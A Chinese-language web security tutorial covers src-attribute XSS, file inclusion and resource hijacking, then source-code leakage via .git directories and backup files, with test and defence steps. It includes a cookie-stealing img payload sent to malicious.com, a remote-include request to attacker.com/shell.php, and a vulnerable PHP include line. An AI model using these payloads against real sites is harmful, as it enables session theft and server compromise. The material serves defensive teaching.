src相关Web安全漏洞全解析：从属性风险到源码泄露防护

一、HTML src属性的安全风险及防御

src是HTML中用于指定资源加载路径的核心属性，常见于<img>、<script>、<iframe>、<video>等标签。当该属性值由用户可控输入生成且未做安全处理时，会引发多种高危漏洞。

1. 未过滤src引发的XSS攻击

原理：若页面允许用户自定义<script>、<img>等标签的src属性值，攻击者可构造包含javascript:、data:等协议的恶意内容，触发存储型或反射型XSS，窃取用户Cookie、伪造页面操作。
攻击示例：某论坛支持用户插入图片URL，攻击者提交<img src="javascript:fetch('http://malicious.com/steal?c='+document.cookie)">，其他用户查看评论时，浏览器会执行脚本并泄露Cookie。
测试方法：在用户可控输入点提交包含特殊协议、HTML转义字符的内容，检查页面是否执行恶意代码；验证响应中src属性是否对"、'、<、>等字符做HTML实体转义。
防御方案：

• 对src属性值进行协议白名单过滤（仅允许http://、https://等安全协议）；
• 强制对用户输入做HTML实体转义，禁止直接拼接未过滤的用户内容；
• 配置CSP（内容安全策略）限制资源加载域名，阻止恶意脚本执行。

2. 动态src导致的文件包含漏洞

原理：在PHP、Java等后端语言中，若通过用户可控参数动态拼接资源加载路径（如PHP的include $_GET['src']），且未限制路径范围或协议，攻击者可触发本地文件包含（LFI）或远程文件包含（RFI），执行恶意代码。
攻击示例：某PHP页面存在代码<?php include $_GET['src'];?>，攻击者提交?src=http://attacker.com/shell.php，即可加载远程恶意脚本获取服务器权限。
测试方法：提交包含../的路径测试路径遍历（LFI）；提交外部URL测试远程资源加载权限（RFI）；检查是否存在路径白名单限制。
防御方案：

• 采用白名单机制限制允许加载的文件路径或域名；
• 使用绝对路径拼接资源，避免用户参数直接参与路径构造；
• 禁用PHP的allow_url_include、Java的危险资源加载类等高危配置。

3. src篡改引发的资源劫持与钓鱼攻击

原理：攻击者通过前端篡改、中间人攻击等方式修改页面src属性，将正常资源替换为恶意图片、脚本或钓鱼页面，诱导用户执行敏感操作。
攻击示例：攻击者通过中间人攻击篡改电商页面的<script src="payment.js">为恶意脚本，窃取用户支付卡号信息；或替换<img src="product.jpg">为钓鱼链接图片。
测试方法：使用代理工具拦截HTTP响应，修改src属性值验证恶意资源是否可加载；检查页面是否启用HTTPS防止中间人篡改。
防御方案：

• 启用HTTPS并配置HSTS强制加密传输；
• 使用SRI（资源完整性）验证资源哈希值，防止资源被篡改；
• 后端生成src属性时添加签名校验，禁止前端直接修改核心资源路径。

二、Web源码（Source Code）泄露的安全隐患与防护

在Web安全语境中，src常作为“Source Code（源码）”的缩写，源码泄露是高发且危害极大的安全风险，直接暴露业务逻辑、敏感配置等核心信息。

1. 源码泄露的常见场景

• 版本控制工具泄露：生产环境遗留.git、.svn、.hg等版本控制目录，攻击者可通过/.git/HEAD、/.svn/entries等路径获取完整代码库；
• 备份/临时文件泄露：开发人员遗留的index.php.bak、index.php~、.swp等备份或临时文件，可直接下载获取源码；
• 服务器配置错误：Nginx/Apache未正确解析PHP、Java等脚本文件，直接返回源码；或虚拟主机配置错误，允许访问私有目录的源码文件；
• 调试模式泄露：开发环境调试模式未关闭，错误页面直接返回源码片段或完整代码。

2. 源码泄露的核心危害

• 敏感信息泄露：获取数据库账号密码、API密钥、第三方服务配置等核心数据；
• 业务逻辑暴露：攻击者分析源码破解权限校验、支付流程等逻辑，构造越权、绕过支付等攻击；
• 后门植入：通过源码中的漏洞点植入隐藏后门，长期控制服务器。

3. 源码泄露的测试方法

• 路径扫描：使用Dirsearch、Burp Suite等工具扫描常见泄露路径，如/.git/、/.svn/、/index.php.bak、/web.config；
• 响应分析：访问PHP页面若返回text/html类型而非执行后的内容，可能存在源码泄露；检查X-Powered-By等响应头暴露的语言版本，针对性扫描；
• 错误触发：输入不存在的参数触发服务器错误，若错误页面返回源码片段，说明调试模式未关闭。

4. 源码泄露的防御方案

• 生产环境清理：删除版本控制目录、备份文件、临时文件；禁止将开发环境配置直接部署到生产服务器；
• 服务器配置加固：Nginx/Apache配置禁止访问隐藏目录（如location ~ /\.git { deny all; }）；设置脚本文件仅执行不返回源码；
• 权限与WAF防护：限制Web用户对源码目录的读权限；使用WAF拦截恶意路径扫描、异常文件下载请求；
• 开发流程规范：CI/CD流水线自动清理冗余文件；部署前进行代码泄露扫描检测。